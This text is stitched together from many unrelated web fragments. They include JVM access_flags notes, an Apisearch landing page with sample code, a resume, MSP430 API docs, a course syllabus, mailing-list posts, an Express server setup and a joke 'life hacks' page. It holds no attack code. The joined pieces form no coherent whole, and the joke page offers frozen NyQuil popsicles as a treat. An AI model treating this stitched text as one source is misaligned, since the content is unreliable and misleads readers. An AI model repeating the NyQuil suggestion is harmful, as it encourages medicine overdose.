in a class file whose version number is 52.0 or above, each method of an interface must have exactly one of its ACC_PUBLIC
and ACC_PRIVATE
flags set.
import java.util.function.Function; public interface HelloWorld { default void test() { // 会生成一个private的lambda$test$0方法 Function<Integer, Integer> func = (i) -> i + 5; } }
If a method of a class or interface has its ACC_ABSTRACT
flag set, it must not have any of its ACC_PRIVATE
, ACC_STATIC
, ACC_FINAL
, ACC_SYNCHRONIZED
, ACC_NATIVE
, or ACC_STRICT
flags set.
Each instance initialization method may have at most one of its ACC_PUBLIC
, ACC_PRIVATE
, and ACC_PROTECTED
flags set, and may also have its ACC_VARARGS
, ACC_STRICT
, and ACC_SYNTHETIC
flags set, but must not have any of the other flags set.
Class and interface initialization methods are called implicitly by the Java Virtual Machine.
The value of their access_flags
item is ignored except for the setting of the ACC_STRICT
flag.
总结：
access_flags
在Class、Field和Method层面具体取值的差异。access_flags
的各个具体值之间有相互制约性。


Welcome to the next search generation!
Search over millions of documents, and give to your users unique, amazing and unforgettable experiences.
See demo Download Apisearch Now!What is Apisearch?
Out of the box search engine for your business
Hosted search API
Think like it's an extension of your current database that let's your users search your products faster and better!
Worldwide data cluster
Install your own distributed datacenters all around the world.
Place your data close to yous users, and serve it fast. Very fast.
Product best friend
It will help you increase your sales, making your users reach what they are looking for the fastest possible way.
Hey! but Apisearch is much more than that
Tell me moreSearch features
Increase your rating conversion with our product features.
Typo tolerance
Apisearch will find your user's search even if the query has a typo.
Filters and Facets
Group your data by specific attributes to make it easy refine their searches.
Geo search
Search your data by its location.
Search analytics
Know your customer's search metrics on real time.
 This project is Open Source.
Designed for developers
With Apisearch, building a search experience has never been that easy.
1 Index your data
By using our API clients or importing it with our administration panel with many different data types.
// Configure the instance
$repository->setCredentials(
new RepositoryReference(
'21abc4',
'23j5tg'
),
'1cc7a3e0-bda5-11e7'
);
// Create your entity
$album = new Album(
'768f6d-d78s9',
'Album name',
'Album description'
);
// Save it!
$repository->addObject($album);
$repository->flush();
2 Build the search UI
Using our user interface Javascript libraries like Apisearch UI or Autocomplete UI.
// Create the instance
const ui = apisearchUI.create({
appId: '21abc4',
indexId: '23j5tg',
token: '1cc7a3e0-bda5-11e7'
});
// Add your widgets
ui.addWidgets(
ui.widgets.searchInput({
target: '.search-container'
}),
ui.widgets.result({
target: '.result-container',
})
);
// Initialize it!
ui.init();
3 Ready for production!
Start searching your products and increase your site conversion.
Search any album you like. . .
Ready to boost your search?
Download now Apisearch and be part of this amazing community of wild searchers :)
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Download Apisearch


Role 1: Main element restrictions
Role 1: Main element restrictions
Role 1: Main element restrictions
Role 1: Main element restrictions
Role 1: Main element restrictions
Role 1: Main element restrictions


Computer Science Undergraduate 2015-2019
Completed my Undergraduate studies in Computer Science with Specialization in Cloud Computing and Virtualization from Galgotias University. Secured First Class with Distinction with a CGPA of 8.95
It all started with playing ROADRASH on Windows 98, wrote my first line of code on C, since then I have been extending my programming horizons by learning Java, Python and C# and various Frameworks. Now I work as a Full Stack Developer with a great passion for various Technologies.
<EMAIL_ADDRESS>+91 -<PHONE_NUMBER>
Completed my Undergraduate studies in Computer Science with Specialization in Cloud Computing and Virtualization from Galgotias University. Secured First Class with Distinction with a CGPA of 8.95
Completed my 11th and 12th grade studies from Bhashyam Educational Institutions, Vishakapatnam. Secured 9.21 GPA over the course of study.
Completed my 10th grade from Ramakrishna School, Vishakapatnam. Secured 83% marks.
Received upon completion of a 5 month Internship at Infosys Developed a Web Application by using Frameworks such as .NET Core, Entity Framework and implemented MVC Design Pattern under Agile Development Model.
Completed a 4 week Training on Ethical Hacking conducted by Internshala I learnt about the basics of Cross Site Scripting, Network Attacks, Penetration Testing.
Participated in an EV Hackathon an India - Australia Joint Initiative conducted at EMPI Business School.With a Team of 4 we came up with an Innovative Technical Solution which can be used to automate Tasks and solve charging station problems.
Won an award as THE BEST TECHNICAL TEAM at TIME TO HACK conducted by G.L. Bajaj. Decveloped an Android application for the people in Rural Areas, which would help them to reach the nearest and the best hospitals in emergency time.


|
MSP430™CapTIvateSoftwareLibraryAPIGuide
1_70_00_03
|
#include <CAPT_Protocol.h>
Data Fields | |
| struct { | |
| uint8_t ui8Sync | |
| uint8_t ui8Blank | |
| uint8_t ui8Length | |
| uint8_t ui8Command | |
| uint8_t ui8Write | |
| uint8_t ui8SensorID | |
| uint8_t ui8Param0 | |
| uint8_t ui8Param1 | |
| uint8_t ui8Param2 | |
| uint8_t ui8Param3 | |
| uint16_t ui16Checksum | |
| }; | |
| uint8_t | ui8Packet [TL_PARAMETER_PACKET_LENGTH] |
typedef tParameterPacket is a union structure that stores a CapTIvate™ parameter packet. The union allows the low-level serial driver to interface with a buffer, while higher-level applications can access specific portions of the packet.
| uint8_t tParameterPacket::ui8Sync |
| uint8_t tParameterPacket::ui8Blank |
| uint8_t tParameterPacket::ui8Length |
| uint8_t tParameterPacket::ui8Command |
| uint8_t tParameterPacket::ui8Write |
| uint8_t tParameterPacket::ui8SensorID |
| uint8_t tParameterPacket::ui8Param0 |
| uint8_t tParameterPacket::ui8Param1 |
| uint8_t tParameterPacket::ui8Param2 |
| uint8_t tParameterPacket::ui8Param3 |
| uint16_t tParameterPacket::ui16Checksum |
| struct { ... } |
| uint8_t tParameterPacket::ui8Packet[TL_PARAMETER_PACKET_LENGTH] |


--- layout: page title: Lean Prover Zulip Chat Archive permalink: archive/144837PRreviews/34378442troubleswithwithbot.html ---
Is there anything wrong with this PR?
@Kevin Buzzard @Chris Hughes I can't do PLUS Q5 with this PR unmerged
Well that gives you 13 days ;-)
Merge it into your local copy of mathlib then or something/
{% endraw %}


The main goal this semester is to rewrite the front-end in Svelte and explore SvelteKit. We’ll start completely front scratch and fake the back-end; the new Spacy pipeline can be integrated later.
You’ve been given access to a private Github repo for this project. There are several milestones there that serve as our timeline and list of specific goals.
Through progress in these goals students will:
git
and GithubWe will have 30 minute weekly meetings. If you’re taking this for 0.5 credits, we’ll meet just once per week; twice per week for 1.0 credits. In these meetings we’ll take a look at your work and set objectives for the next week. You are expected to make each and every meeting or to make arrangements ahead of time to make up a misse dmeeting. At each meeting you will present the current state of your work and demonstrate that you’ve made progress since the last meeting. You are encouraged to seek out help and guidance between meetings if you’re stuck or lacking in direction. You are also encouraged to work the other members of the research team, even if they are not an expert on your particular topic.
At the end of each meeting we will set clear goals and objectives for the next week based on the current state of the work. If you find that you cannot meet an objective in a reasonable amount of time due to unforeseen difficulty, that’s fine. Just be ready to explain what you tried, what worked, what didn’t work, and, to the best of your ability, the nature of the problem. Account for the time you spent on the research. The work should be neatly done, well-documented, and conform to the standards of the open source projects to which we hope to contribute.
Grades are a function of being prompt, prepared, and producing high quality work. These things are assessed at our weekly meetings through the work presented at each meeting. You can safely assume that no news is good news. If your making meetings and showing work at each meeting but not being told the work is somehow insufficient, then you can expect an A. When the work is insufficient or poorly done, then you will be told as much and given feed back on what is lacking and what needs improvement. At midterm you will be told your current grade. If at any other time you want a clear, explicit indication of your grade you need only ask. In general, grading follows the rubric given below.
| Grade | Meeting Attendance | Weekly Work State | Quality of Work |
|---|---|---|---|
| A | Never misses | Always ample work shown | Well done |
| B | Missed a few | Work sometimes insufficient | Occasionally sloppy. Error free. |
| C | Missed a lot | Regularly insufficient, occasionally not started. | Occasionally sloppy. Frequent Errors. |
| D | Missed a lot | Regularly not started | Sloppy and error prone |
| F | Missed most | Nothing significant to show | Sloppy and full of errors |
For the 0.5 credit version, we’ll meet for 0.5 hours a week, and outside of our meetings you are expected to dedicate 4.5-7.5 hours of work on this research, for a total of 5-8 hours.
For the 1.0 credit version, we’ll meet for 1 hours a week, and outside of our meetings you are expected to dedicate 10-12 hours of work on this research, for a total of 11-13 hours.


Summer Time NyQuil Ice Pops:It'll blow your mind.
Is the winter heat getting to you? Well look no further, in 7 easy steps you too can cool down in this extreme heat!
- Step 1: Acquire NyQuil
- Step 2: Put NyQuil in popsicle maker
- Step 3: Freeze popsicles
- Step 4: Enjoy!
- Step 5: ???
- Step 6:
- Step 7: Contact Poison Control for unrelated health issues similar to consuming to much NyQuil
Oh yeah, it's that good. See for yourself.
Conquer the world with the ultimate weapon. Parts needed for weapon.
- Cat (Home grown is OK)
- Drone
- Duct tape
And lastly, this one. Checkmate.
Never lose track of where you are in a book.
Sometimes the easiest solutions really are the intelligentist smartest solution.
Just take some mustard and squirt it onto the page before where you just read. (Relish works as well)


Form Validation - jQuery
First Name
Last Name
Username
Email
Password
Show
I accept
the terms
.
Register


Numerical Methods with Pharo
Pharo is a clean, innovative, open-source, live-programming environment.
Numerical Methods with Pharo covers many topics related to data science: function interpolation, iteration, zeroes, linear algebra series, statistics, estimation, minimisation, and data mining.
An Open Book
Numerical Methods in Pharo is an open book: Contributions are welcomed.
The content of this book is released under a Creative Commons Attribution-ShareAlike license.
Authors
- Didier Besset
- Stéphane Ducasse
- Serge Stinckwich


Animal Trading Card
Featured Work
Pixel Art Maker
Memory Card Game
Chords transposer
Frogger: the arcade game
An Environmental Specialist diving into Web Development.
Animal Trading Card
Pixel Art Maker
Memory Card Game
Chords transposer
Frogger: the arcade game


IgeSpriteSheet CLASS
Declared in IgeSpriteSheet.js
Creates a new sprite sheet that cuts an image up into arbitrary sections.
Methods
detectCells
Uses the sprite sheet image pixel data to detect distinct sprite bounds.
detectCells({} img)
Returns {Array} An array of cell bounds.
cellCount
Returns the total number of cells in the cell sheet.
cellCount()
Returns {Number}
cellIdToIndex
Returns the cell index that the passed cell id corresponds to.
cellIdToIndex({String} id)
Returns {Number} The cell index that the cell id corresponds to or -1 if a corresponding index could not be found.
stringify
Returns a string containing a code fragment that when evaluated will reproduce this object.
stringify()
Returns {String}


Loading,
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Delete Confirmation
Click OK to delete this project and all associated data (annotations, segmentations, and training data). Otherwise, click CANCEL to return to the project browser.
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ICON
Interactive Training of Deep Neural Networks for Segmentation.
Classifier Name
Slice#:
number
Slice Type:
type
Volume Section
range


To get started, enter some values for the maze dimensions (rows and columns). Once you do that the algorithm will automatically generate a maze. Choose your material measurements and you'll be ready to click "Export SVG Blueprint", which will let you download an SVG file to send to your laser cutter.
Each input has a [?] help button with more information on what that input means.
| Millimeters (mm) | Centimeters (cm) | Inches (in) |
|---|---|---|
| 1 | .1 | .039 |
| 2 | .2 | .079 |
| 3 | .3 | .118 |
| 4 | .4 | .158 |
| 5 | .5 | .197 |
| 3.18 | .318 | 1/8 |
| 6.35 | .635 | 1/4 |
| Millimeters (mm) | Centimeters (cm) | Inches (in) |
|---|---|---|
| 279.4 | 27.94 | 11 |
| 304.8 | 30.48 | 12 |
| 495.3 | 49.53 | 19.5 |
| 508 | 50.8 | 20 |


{% if error %} Note: If you uploaded shapefiles for GSA analysis and nothing is displayed, then it is possible that the generated map or the provide CSV has characters/letters that our tool cannot understand. {% endif %} {% if gsaCSV %}
Autocorrelation Statistics:
Local Autocorrelation: {{ auto[0] }}
Global Autocorrelation: {{ auto[1] }}
Spatial Dynamics Statistics
Transition Counts:
{% for row in sp_dyn[0] %}{{row}}
{% endfor %}
Transition Probabilities:
{% for row in sp_dyn[1] %}{{row}}
{% endfor %}
Steady State Distributions:
{% for row in sp_dyn[2] %}{{row}}
{% endfor %}
Mean Passage Time:
{% for row in sp_dyn[3] %}{{row}}
{% endfor %}


Paper bags
Newspaper
Envelopes
Junk Mail
Computer & Office Paper
Cardboard Box (non-waxed)
Cereal Boxes and Paperboard
Phone Book
Kraft or Packaging Paper
Waxed Cardboard
Pizza Box (clean or dirty)
Milk Cartons, Tetra paks
Paper Towels & Napkins
Paper Food & Drink To-Go Containers
Empty Plastic Beverages
Household Bottles
Buckets
Empty Laundry Detergent Bottles
Plastic Flower Pots & Trays
Rigid Plastics Larger than 6"
Large Plastic Tubs
Styrofoam
Plastic Bags
Plastic Film
Plastic Food Containers (Yogurt, Salsa, Berries
Food Bags & Wrappers
Plastic Labeled "Biodegradable" or "Compostable"
Takeout Items: Cups, Containers, & Utensils
Plastic Straws
Aluminum Cans
Aluminum Foil & Trays
Caps & Lids From Bottles, Jars, & Steel Cans
Empty Spray Cans
Scrap Metal & Metal Parts
Empty Paint Cans
Glass Bottles
Glass Jars
Kitchen Glassware & Other Tempered Glass
Window or Mirror Glass
Broken Glass
Batteries
Lightbulbs


ABC Skilled Nursing Facility location

resourceType: Location

status: generated

div:
Generated Narrative with Details

id: cms-organization-location-01

name: ABC Skilled Nursing Facility location


[gecode-users] Activity-based search and nondeterministic behaviour
Christian Schulte
cschulte at kth.se
Mon Feb 17 10:52:37 CET 2014
Hi Andre,
Right, they are deterministic, provided:
- you do not use parallel search (as parallel search is indeterministic
itself)
- you keep the same values for recomputation
Best
Christian
--
Christian Schulte, Professor of Computer Science, KTH,
www.ict.kth.se/~cschulte/
From: andre.cire at gmail.com [mailto:andre.cire at gmail.com] On Behalf Of Andre
Augusto Cire
Sent: Friday, February 14, 2014 7:05 PM
To: cschulte at kth.se
Cc: users at gecode.org
Subject: Re: [gecode-users] Activity-based search and nondeterministic
behaviour
Hi Christian,
Thanks a lot for your answer. Just to clear out any confusion: this means
that, in the latest version (4.2.1), all search types (including AFC) are
deterministic as long as there are no non-deterministic propagators, right?
Cheers,
Andre
On Mon, Feb 10, 2014 at 3:23 PM, Christian Schulte <cschulte at kth.se> wrote:
Dear Andre,
Now it is not deterministic when non-detrministic propagators are around.
Moreover, changing the recomputation distance will also (slightly) change
the activity information recorded.
Cheers
Christian
--
Christian Schulte, www.ict.kth.se/~cschulte/
From: users-bounces at gecode.org [mailto:users-bounces at gecode.org] On Behalf
Of Andre Augusto Cire
Sent: Monday, February 10, 2014 6:43 PM
To: users at gecode.org
Subject: [gecode-users] Activity-based search and nondeterministic behaviour
Dear all,
I wonder if you could kindly help me with a very quick question. From a
previous forum post and the manual, we know that nonmonotonic propagators
and AFC-based search may result in a nondeterministic behaviour (post here:
https://www.mail-archive.com/users@gecode.org/msg00916.html).
Just to confirm: is activity-based search deterministic?
Thank you very much,
Andre
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import * as express from "express";
import * as compression from "compression"; // compresses requests
import * as session from "express-session";
import * as bodyParser from "body-parser";
import * as logger from "morgan";
import * as lusca from "lusca";
import * as dotenv from "dotenv";
import * as mongo from "connect-mongo";
import * as mongoose from "mongoose";
import * as passport from "passport";
import * as bluebird from "bluebird";
import * as path from "path";
import * as routes from "./routes";
import * as passportConfig from "./config/passport";
dotenv.config({ path: ".env.example" });
// Connect to MongoDB
const mongoUrl = process.env.MONGOLAB_URI;
(<any>mongoose).Promise = bluebird;
mongoose.connect(mongoUrl).catch(err => {
console.log("MongoDB connection error. Please make sure MongoDB is running. " + err);
process.exit();
});
const MongoStore = mongo(session);
// Create Express server
const app = express();
// Express configuration
app.set("port", process.env.PORT || 3000);
app.use(compression());
app.use(logger("dev"));
app.use(bodyParser.json());
app.use(bodyParser.urlencoded({ extended: true }));
app.use(session({
resave: true,
saveUninitialized: true,
secret: process.env.SESSION_SECRET,
store: new MongoStore({
url: mongoUrl,
autoReconnect: true
})
}));
app.use(passport.initialize());
app.use(passport.session());
app.use(lusca.xframe("SAMEORIGIN"));
app.use(lusca.xssProtection(true));
app.use(express.static(path.join(__dirname, "public"), { maxAge:<PHONE_NUMBER>0 }));
// Routes Setup
routes.setup(app);
module.exports = app;
|


Gonna Take An Eva To Punch This Nazi
by Luke PlunkettVladimir Manyukhin is an artist, specialising in matte paintings, from Russia.
You can see more of Vladimir’s stuff at his ArtStation page.
Vladimir Manyukhin is an artist, specialising in matte paintings, from Russia.
You can see more of Vladimir’s stuff at his ArtStation page.